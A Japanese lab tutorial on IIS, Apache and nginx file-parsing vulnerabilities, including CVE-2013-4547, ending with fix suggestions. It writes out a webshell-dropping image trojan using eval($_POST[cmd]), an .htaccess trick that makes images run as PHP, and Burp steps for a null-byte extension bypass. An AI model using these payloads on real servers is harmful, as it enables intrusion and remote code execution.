解析脆弱性#
私たちが web サーバーにアクセスする際、例えば:www.example.com/index.php ファイルにアクセスすると、web サーバーにリクエストを送信し、php ファイルにアクセスします。php の解析器は php ファイルを静的ファイルに解析し、ブラウザに返してユーザーが閲覧できるようにします。
サーバー解析の脆弱性は、ブラウザがサーバーにファイルをアップロードする際に発生します。サーバーは攻撃者が悪意を持って構築したファイルを解析し、ブラウザに返すことで、悪意のあるファイルをアップロードする目的を達成します。
IIS5.x/6.0 解析脆弱性#
IIS の解析方法には 2 つの種類があります。
1、ディレクトリ解析
サーバー上に xx.asp というディレクトリが存在する場合、そのディレクトリ内のファイルはすべて asp ファイルとして解析されます。
2、ファイル解析
菜刀を使用して接続すれば、接続が成功します。
IIS6.0 は asp ファイルを実行するだけでなく、asa、cer、cdx などのファイル拡張子のファイルも実行できます。ディレクトリ解析の脆弱性と組み合わせて利用できます。例えば:xxx.cer/xxx.jpg
、xxx.asa;.jpg
。
apache 解析脆弱性#
1、多様な拡張子
apache はファイル拡張子の認識を右から左に解析します。例えば:xxx.php.hcx.hts。最初に右側の.hts 拡張子を判断し、この拡張子が異常であることを発見すると、.hcx を解析し、最終的に php ファイルに解析され、悪意のあるファイルが実行されます。
php のモジュール設定ファイルを確認する /etc/apache2/mods-available/php7.0.conf
# 下記のFileMatchから".+.ph(p[3457]?|t|tml)$"が見えます。$は最後のもので、php自体
# まだ最後の拡張子を検出していることを示しています。
<FilesMatch ".+.ph(p[3457]?|t|tml)$">
SetHandler application/x-httpd-php
</FilesMatch>
<FilesMatch ".+.phps$">
SetHandler application/x-httpd-php-source
# デフォルトで生のphpソースへのアクセスを拒否
# 再度有効にするには、特定の仮想ホストまたはディレクトリ内のファイルへのアクセスを有効にすることをお勧めします
Require all denied
</FilesMatch>
ファイル名のないファイルへのアクセスを拒否(例:'.php')
<FilesMatch "^.ph(p[3457]?|t|tml|ps)$">
Require all denied
</FilesMatch>
ユーザーディレクトリ内でのPHPスクリプトの実行はデフォルトで無効です
ユーザーディレクトリ内でPHPを再度有効にするには、以下の行をコメントアウトします
(<IfModule ...>から</IfModule>まで)。Onに設定しないでください。そうしないと、.htaccessファイルが無効にされます。
<IfModule mod_userdir.c>
<Directory /home/*/public_html>
php_admin_flag engine Off
</Directory>
以下にアクセスすると、php は解析されず、ソースコードが直接返されます:
次に、上記の設定ファイルの$
を\.
に変更します。
<FilesMatch ".+\.ph(p[3457]?|t|tml)\.">
SetHandler application/x-httpd-php
</FilesMatch>
<FilesMatch ".+\.phps\.">
SetHandler application/x-httpd-php-source
# デフォルトで生のphpソースへのアクセスを拒否
# 再度有効にするには、特定の仮想ホストまたはディレクトリ内のファイルへのアクセスを有効にすることをお勧めします
Require all denied
</FilesMatch>
# ファイル名のないファイルへのアクセスを拒否(例:'.php')
<FilesMatch "^\.ph(p[3457]?|t|tml|ps)\.">
Require all denied
</FilesMatch>
# ユーザーディレクトリ内でのPHPスクリプトの実行はデフォルトで無効です
#
# ユーザーディレクトリ内でPHPを再度有効にするには、以下の行をコメントアウトします
# (<IfModule ...>から</IfModule>まで)。Onに設定しないでください。そうしないと、.htaccessファイルが無効にされます。
<IfModule mod_userdir.c>
<Directory /home/*/public_html>
php_admin_flag engine Off
</Directory>
</IfModule>
apache サービスを再起動します。
service apache2 restart
ファイル解析が成功しました。
2、珍しい拡張子
apache は特定の mime タイプのファイルを解析します。/etc/mime.types ファイルで解析可能なファイル拡張子の形式が定義されています。
もしサイトのファイルアップロード部分で、mime.types ファイル内のタイプに対してフィルタリングが行われていない場合、攻撃者は apache が解析する異なる php ファイル拡張子をアップロードすることで、サイトのフィルターを回避できる可能性があります。
3、.htacesss ファイル
ウェブサイトのルートディレクトリにはデフォルトで.htaccess ファイルが存在しないため、自分で作成する必要があります。.htaccess の内容は以下の通りです。
AddType application/x-httpd-php xxx
<FilesMatch "shell.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
.htaccess 機能はデフォルトで無効になっており、アクセス結果は以下の通りです:
apache 設定ファイルを編集します。
AllowOverride None を AllowOverride All に変更します。
<Directory />
Options FollowSymLinks
AllowOverride All
Require all denied
</Directory>
<Directory /usr/share>
AllowOverride None
Require all granted
</Directory>
<Directory /var/www/>
Options Indexes FollowSymLinks
AllowOverride All
Require all granted
</Directory>
#<Directory /srv/>
# Options Indexes FollowSymLinks
# AllowOverride None
# Require all granted
#</Directory>
さらに、.ht で始まるマッチを granted に変更します。
<FilesMatch "^.ht">
Require all granted
</FilesMatch>
3、rewrite モジュールをロードする
シンボリックリンクを作成します。
cd /etc/apache2/mods-enabled/
ln -s ../mods-available/rewrite.load rewrite.load
このようにして、.htaccess 機能が有効になりました。ウェブサイトのルートディレクトリ(/var/www/html)に相応しいテストファイルを作成します。
root@kali:/var/www/html# tree
.
├── index.html
├── index.php
├── shell.jpg
├── test
│ ├── shell.jpg
│ └── [type.xxx](http://type.xxx/)
└── [type.xxx](http://type.xxx/)
shell.jpg と type.xxx の内容は以下の通りです。
<?php echo 'HELLO WORLD'; ?>
ブラウザで shell.jpg の画像拡張子と type.xxx のファイルにアクセスすると、php コードファイルが直接実行されます。
適切に.htaccess ファイルを利用することで、php 拡張子のフィルタリングをうまく回避できます。
ファイル解析脆弱性のまとめ - Apache - CSDN ブログ
nginx 解析脆弱性#
Nginx は高性能な web サーバーで、非常に広く使用されており、リバースプロキシとしても頻繁に使用され、PHP の実行を非常によくサポートしています。
Nginx は0.5.*
, 0.6.*
, 0.7 <= 0.7.65
, 0.8 <= 0.8.37
バージョンで比較的深刻なセキュリティ問題が発見されており、デフォルトではサーバーが任意のタイプのファイルを PHP の方法で解析してしまう可能性があり、これにより深刻なセキュリティ問題が発生し、悪意のある攻撃者が PHP をサポートする nginx サーバーを攻撃する可能性があります。
nginx の脆弱性環境の構築は比較的面倒で、直接脆弱性プラットフォームを使用する方が良いでしょう!
したがって、vulhub 脆弱性プラットフォームを使用してデモを行います。
vulhub プロジェクトのアドレス:https://github.com/vulhub/vulhub
vulhub 脆弱性プラットフォームは docker を基に構築されており、docker の利点は脆弱性環境を直接取得でき、すぐに使用できることです。自分で環境を再構築する必要はありません。
1、docker のインストール
# pipをインストール
curl -s https://bootstrap.pypa.io/get-pip.py | python3
# 最新版のdockerをインストール
curl -s https://get.docker.com/ | sh
# dockerサービスを起動
service docker start
# composeをインストール
pip install docker-compose
2、vulhub の使い方
# プロジェクトを取得
git clone https://github.com/vulhub/vulhub.git
cd vulhub
# 特定の脆弱性/環境のディレクトリに移動
cd flask/ssti
# 環境を自動的にビルド
docker-compose build
# 環境全体を起動
docker-compose up -d
上記は vulhub の readme からの引用です
注:
1、環境を起動する際は、システム時間の設定に注意してください。時間が一致しないとエラーが発生します。
Get https://registry-1.docker.io/v2/: x509: certificate has expired or is no
nginx の解析脆弱性は nginx や php のバージョンに関係なく、ユーザーの設定ファイルの不適切な構成によるものですが、高バージョンの php では「security.limit_extensions」メカニズムが導入され、デフォルトでは.php 拡張子のファイルのみが解析されます。
nginx のバージョンは以下の通りです:
Nginx が test.jpg/.php ファイルを取得すると、URL の最後にある php ファイル拡張子を見て、それを php ファイルと見なして php 解析器に処理を渡しますが、php 解析器はこの php ファイルを見つけられず、php 拡張子を削除して test.jpg を取得します。test.jpg は存在しますが、php ファイルではなく画像ファイルであり、php 解析器は解析せず、Access denied を返します。
nginx の解析脆弱性は 80sec 組織によって発見され、fastcgi が有効になっている場合、攻撃者が jpg ファイルをアップロードし、内容は以下の通りです:
<?PHP phpinfo() ?>
その後、xxx.jpg/.php ファイルにアクセスすると、このファイルは php ファイルとして解析されます。
この時、表示は以下の通りです:
表示はAccess deniedです。
これは、最新の php.ini 設定ファイルで cgi.fix_pathinfo=1 がデフォルトで 1 に設定されているためです。cgi.fix_pathinfo を 0 に設定すると、後ろの拡張子が解析されなくなり、解析脆弱性も存在しなくなります。
現在はまだ解析できません。なぜなら、新しいバージョンの php では「security.limit_extensions」メカニズムが導入され、実行可能なファイルの拡張子が制限されているからです。
# php-fpm.confファイルを探す
# find / -name php-fpm.conf
/etc/php-fpm.conf
php-fpm.conf ファイルには、/etc/php-fpm.d/*.conf ディレクトリ内のファイル設定が含まれています。
/etc/php-fpm.d/ ディレクトリに入り、相応しい設定ファイルを編集します。
nginx と php-fpm サービスを再起動します。
ブラウザでアクセスします。
# 画像マを作成
copy xx.png/b + yy.txt/a xy.png
yy.txtの内容は以下の通りです:
<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>
png 画像マをアップロードし、ブラウザでアクセスします。
菜刀を使用して生成された shell.php ファイルにアクセスします。http://192.168.63.131/shell.php。
参考:
https://blog.csdn.net/wn314/article/details/77388289
修正提案
1、php.ini 設定ファイルの cgi.fix_pathinfo=1 を cgi.fix_pathinfo=0 に変更します。
2、新しいバージョンの php で導入された「security.limit_extensions」メカニズムを通じて、実行可能なファイルの拡張子を制限します。
Nginx ファイル名ロジック脆弱性(CVE-2013-4547)#
影響を受けるバージョン:Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7
nginx の設定ファイルは以下の通りです:
location ~ \.php$ {
root html;
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
include fastcgi_params;
# try_files $uri = 404;
}
デフォルトでは.php で終わるファイルが fastcgi に送信されて解析されます。
cgi.fix_pathinfo=0
の状態では、デフォルトで php 拡張子のファイルのみが実行を許可されます。もし Nginx ファイル名ロジック脆弱性(CVE-2013-4547)が存在する場合、無効な文字である空白と終止符(\0)が Nginx が URI を解析する際の有限状態機械を混乱させ、攻撃者が非エンコードの空白を使用して拡張子制限を回避し、php コードを実行できるようになります。
vulhub 環境を利用してテストします。
フォームボックスは以下の通りです:
1、gif 画像ファイルをアップロードし、burp でリクエストをキャッチします。
gif 画像ファイルの内容は以下の通りです:
<?php phpinfo();?>
1.gif
を1.gif[空白]
に変更し、.gif
の後に空白を追加して、forward をクリックすると、アップロード成功のメッセージが表示されます。
2、ブラウザでアクセスします。
ブラウザで192.168.63.140:8080/uploadfiles/1.gif...php
にアクセスし、gif の後に...php を追加して、パケットを変更し、burp がリクエストパケットをキャッチします。
gif の最初の点を 20 に、2 番目の点を 00 に変更し、forward をクリックします。
最終的なリクエスト URL は
192.168.63.140:8080/uploadfiles/1.gif1.gif[0x20][0x00].php
です。
3、php コードが正常に実行されます。
まとめ#
以前に書いた記事ですが、ファイルアップロード機能のホワイトリストが通常、解析脆弱性と組み合わせて利用される必要があります。解析脆弱性は現在ますます少なくなってきており、ミドルウェアのバージョンも高くなっています。